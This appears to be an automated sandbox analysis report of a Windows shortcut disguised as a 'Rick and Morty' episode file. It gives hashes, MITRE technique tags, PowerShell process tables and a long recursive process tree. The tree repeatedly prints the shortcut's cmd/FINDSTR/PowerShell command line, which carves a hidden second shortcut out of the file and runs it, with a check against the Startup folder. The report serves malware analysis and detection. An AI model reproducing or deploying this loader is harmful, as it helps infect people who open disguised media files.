bda9508dc45044a322db0cdf6693c2f5e3d598a46d0836b81ba0369ad0bb5726

Analysis

max time kernel
72s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
11/05/2026, 00:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.lnk
Size 2KB
Sample260511-axgymsgx8v
SHA256 bda9508dc45044a322db0cdf6693c2f5e3d598a46d0836b81ba0369ad0bb5726
MD5 2e85c2338a7f21e5e2b435894e198744
SHA1 f24f528c00c653f06677b1c8d5ad12c29bee409e
SHA512 41407336a42ac91a6a6ae2da22380f8c11e45a26c134ddbbb91365b659dcb645d8c00f71c90da02d2e55d6a6a2689727e9673cf09b4e994764905ede05aae7ae
TLSH
T19D41120866DC1723E773EAB68CEAE61A853B7C08F5645F0D0180414F34B6902FD25F7A
MD5 SHA1 SHA512 TLSH

Score

5^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
1068	powershell.exe
5152	powershell.exe
4896	powershell.exe
1336	powershell.exe
2456	powershell.exe
6004	powershell.exe
2096	powershell.exe
796	powershell.exe
5428	powershell.exe
1392	powershell.exe
1096	powershell.exe
688	powershell.exe
1292	powershell.exe
676	powershell.exe
2192	powershell.exe
1708	powershell.exe
1316	powershell.exe
2024	powershell.exe
3328	powershell.exe
3872	powershell.exe
5404	powershell.exe
4964	powershell.exe
4792	powershell.exe
2508	powershell.exe
552	powershell.exe
5424	powershell.exe
5888	powershell.exe
2504	powershell.exe
8	powershell.exe
3756	powershell.exe
880	powershell.exe
3588	powershell.exe
5624	powershell.exe
3060	powershell.exe
2328	powershell.exe
3340	powershell.exe
244	powershell.exe
3068	powershell.exe
5700	powershell.exe
5844	powershell.exe
4820	powershell.exe
5252	powershell.exe
1892	powershell.exe
1384	powershell.exe
5364	powershell.exe
4332	powershell.exe
4488	powershell.exe
3396	powershell.exe
6124	powershell.exe
5344	powershell.exe
2352	powershell.exe
4736	powershell.exe
5832	powershell.exe
628	powershell.exe
3404	powershell.exe
860	powershell.exe
4656	powershell.exe
1912	powershell.exe
4012	powershell.exe
5564	powershell.exe
5416	powershell.exe
4288	powershell.exe
4764	powershell.exe
5048	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5980	powershell.exe
5980	powershell.exe
2024	powershell.exe
2024	powershell.exe
5368	powershell.exe
5368	powershell.exe
4896	powershell.exe
4896	powershell.exe
4328	powershell.exe
4328	powershell.exe
6036	powershell.exe
6036	powershell.exe
2008	powershell.exe
2008	powershell.exe
4572	powershell.exe
4572	powershell.exe
408	powershell.exe
408	powershell.exe
4736	powershell.exe
4736	powershell.exe
1096	powershell.exe
1096	powershell.exe
1384	powershell.exe
1384	powershell.exe
1112	powershell.exe
1112	powershell.exe
4796	powershell.exe
4796	powershell.exe
1592	powershell.exe
1592	powershell.exe
4868	powershell.exe
4868	powershell.exe
2220	powershell.exe
2220	powershell.exe
3396	powershell.exe
3396	powershell.exe
5216	powershell.exe
5216	powershell.exe
3132	powershell.exe
3132	powershell.exe
5392	powershell.exe
5392	powershell.exe
5056	powershell.exe
5056	powershell.exe
5528	powershell.exe
5528	powershell.exe
976	powershell.exe
976	powershell.exe
1120	powershell.exe
1120	powershell.exe
3168	powershell.exe
3168	powershell.exe
916	powershell.exe
916	powershell.exe
5888	powershell.exe
5888	powershell.exe
5176	powershell.exe
5176	powershell.exe
4288	powershell.exe
4288	powershell.exe
688	powershell.exe
688	powershell.exe
5648	powershell.exe
5648	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5980	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	5368	powershell.exe
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	6036	powershell.exe
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	408	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	5216	powershell.exe
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeDebugPrivilege	5392	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	5528	powershell.exe
Token: SeDebugPrivilege	976	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	5888	powershell.exe
Token: SeDebugPrivilege	5176	powershell.exe
Token: SeDebugPrivilege	4288	powershell.exe
Token: SeDebugPrivilege	688	powershell.exe
Token: SeDebugPrivilege	5648	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	6104	powershell.exe
Token: SeDebugPrivilege	3088	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	4688	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeDebugPrivilege	5876	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	5568	powershell.exe
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	5752	powershell.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	4140	powershell.exe
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeDebugPrivilege	5440	powershell.exe
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	756	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	6052	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	244	powershell.exe
Token: SeDebugPrivilege	4820	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6112 wrote to memory of 5220	6112	cmd.exe	80
PID 5220 wrote to memory of 2996	5220	cmd.EXE	81
PID 5220 wrote to memory of 5980	5220	cmd.EXE	82
PID 5980 wrote to memory of 5112	5980	powershell.exe	83
PID 5112 wrote to memory of 1188	5112	cmd.EXE	85
PID 5112 wrote to memory of 2024	5112	cmd.EXE	86
PID 2024 wrote to memory of 4416	2024	powershell.exe	87
PID 4416 wrote to memory of 2528	4416	cmd.EXE	89
PID 4416 wrote to memory of 5368	4416	cmd.EXE	90
PID 5368 wrote to memory of 1800	5368	powershell.exe	91
PID 1800 wrote to memory of 3704	1800	cmd.EXE	93
PID 1800 wrote to memory of 4896	1800	cmd.EXE	94
PID 4896 wrote to memory of 2964	4896	powershell.exe	95
PID 2964 wrote to memory of 4772	2964	cmd.EXE	97
PID 2964 wrote to memory of 4328	2964	cmd.EXE	98
PID 4328 wrote to memory of 5896	4328	powershell.exe	99
PID 5896 wrote to memory of 5612	5896	cmd.EXE	101
PID 5896 wrote to memory of 6036	5896	cmd.EXE	102
PID 6036 wrote to memory of 416	6036	powershell.exe	103
PID 416 wrote to memory of 1848	416	cmd.EXE	105
PID 416 wrote to memory of 2008	416	cmd.EXE	106
PID 2008 wrote to memory of 2228	2008	powershell.exe	107
PID 2228 wrote to memory of 2740	2228	cmd.EXE	109
PID 2228 wrote to memory of 4572	2228	cmd.EXE	110
PID 4572 wrote to memory of 2908	4572	powershell.exe	111
PID 2908 wrote to memory of 2956	2908	cmd.EXE	113
PID 2908 wrote to memory of 408	2908	cmd.EXE	114
PID 408 wrote to memory of 1436	408	powershell.exe	115
PID 1436 wrote to memory of 4848	1436	cmd.EXE	117
PID 1436 wrote to memory of 4736	1436	cmd.EXE	118
PID 4736 wrote to memory of 352	4736	powershell.exe	119
PID 352 wrote to memory of 4192	352	cmd.EXE	121
PID 352 wrote to memory of 1096	352	cmd.EXE	122
PID 1096 wrote to memory of 4292	1096	powershell.exe	123
PID 4292 wrote to memory of 1320	4292	cmd.EXE	125
PID 4292 wrote to memory of 1384	4292	cmd.EXE	126
PID 1384 wrote to memory of 4500	1384	powershell.exe	127
PID 4500 wrote to memory of 3244	4500	cmd.EXE	129
PID 4500 wrote to memory of 1112	4500	cmd.EXE	130
PID 1112 wrote to memory of 4544	1112	powershell.exe	131
PID 4544 wrote to memory of 5236	4544	cmd.EXE	133
PID 4544 wrote to memory of 4796	4544	cmd.EXE	134
PID 4796 wrote to memory of 2996	4796	powershell.exe	135
PID 2996 wrote to memory of 5976	2996	cmd.EXE	137
PID 2996 wrote to memory of 1592	2996	cmd.EXE	138
PID 1592 wrote to memory of 5572	1592	powershell.exe	139
PID 5572 wrote to memory of 2144	5572	cmd.EXE	141
PID 5572 wrote to memory of 4868	5572	cmd.EXE	142
PID 4868 wrote to memory of 1840	4868	powershell.exe	143
PID 1840 wrote to memory of 6088	1840	cmd.EXE	145
PID 1840 wrote to memory of 2220	1840	cmd.EXE	146
PID 2220 wrote to memory of 5920	2220	powershell.exe	147
PID 5920 wrote to memory of 1988	5920	cmd.EXE	149
PID 5920 wrote to memory of 3396	5920	cmd.EXE	150
PID 3396 wrote to memory of 1984	3396	powershell.exe	151
PID 1984 wrote to memory of 6120	1984	cmd.EXE	153
PID 1984 wrote to memory of 5216	1984	cmd.EXE	154
PID 5216 wrote to memory of 3472	5216	powershell.exe	155
PID 3472 wrote to memory of 1560	3472	cmd.EXE	157
PID 3472 wrote to memory of 3132	3472	cmd.EXE	158
PID 3132 wrote to memory of 4944	3132	powershell.exe	159
PID 4944 wrote to memory of 4208	4944	cmd.EXE	161
PID 4944 wrote to memory of 5392	4944	cmd.EXE	162
PID 5392 wrote to memory of 4616	5392	powershell.exe	163

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:6112
- C:\Windows\SYSTEM32\cmd.EXE
  "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5220
- - C:\Windows\system32\findstr.exe
    FINDSTR /v "zDG2j lb8L0148" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
    3⤵
    PID:2996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5980
  - - C:\Windows\SYSTEM32\cmd.EXE
      "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5112
    - - C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0224" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        5⤵
        
        PID:1188
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2024
      - C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4416
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0294" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        7⤵
        
        PID:2528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5368
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1800
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0380" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        9⤵
        
        PID:3704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4896
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2964
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0432" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        11⤵
        
        PID:4772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        11⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4328
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        12⤵
        Suspicious use of WriteProcessMemory
        
        PID:5896
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0518" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        13⤵
        
        PID:5612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        13⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6036
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        14⤵
        Suspicious use of WriteProcessMemory
        
        PID:416
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0599" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        15⤵
        
        PID:1848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        15⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2008
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        16⤵
        Suspicious use of WriteProcessMemory
        
        PID:2228
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0682" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        17⤵
        
        PID:2740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        17⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4572
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        18⤵
        Suspicious use of WriteProcessMemory
        
        PID:2908
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0757" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        19⤵
        
        PID:2956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        19⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:408
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        20⤵
        Suspicious use of WriteProcessMemory
        
        PID:1436
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0815" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        21⤵
        
        PID:4848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        21⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4736
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        22⤵
        Suspicious use of WriteProcessMemory
        
        PID:352
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0905" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        23⤵
        
        PID:4192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        23⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1096
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        24⤵
        Suspicious use of WriteProcessMemory
        
        PID:4292
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0990" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        25⤵
        
        PID:1320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        25⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1384
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        26⤵
        Suspicious use of WriteProcessMemory
        
        PID:4500
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0068" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        27⤵
        
        PID:3244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        27⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1112
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        28⤵
        Suspicious use of WriteProcessMemory
        
        PID:4544
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0154" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        29⤵
        
        PID:5236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        29⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4796
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        30⤵
        Suspicious use of WriteProcessMemory
        
        PID:2996
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0246" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        31⤵
        
        PID:5976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        31⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1592
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        32⤵
        Suspicious use of WriteProcessMemory
        
        PID:5572
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0338" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        33⤵
        
        PID:2144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        33⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4868
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        34⤵
        Suspicious use of WriteProcessMemory
        
        PID:1840
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0415" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        35⤵
        
        PID:6088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        35⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
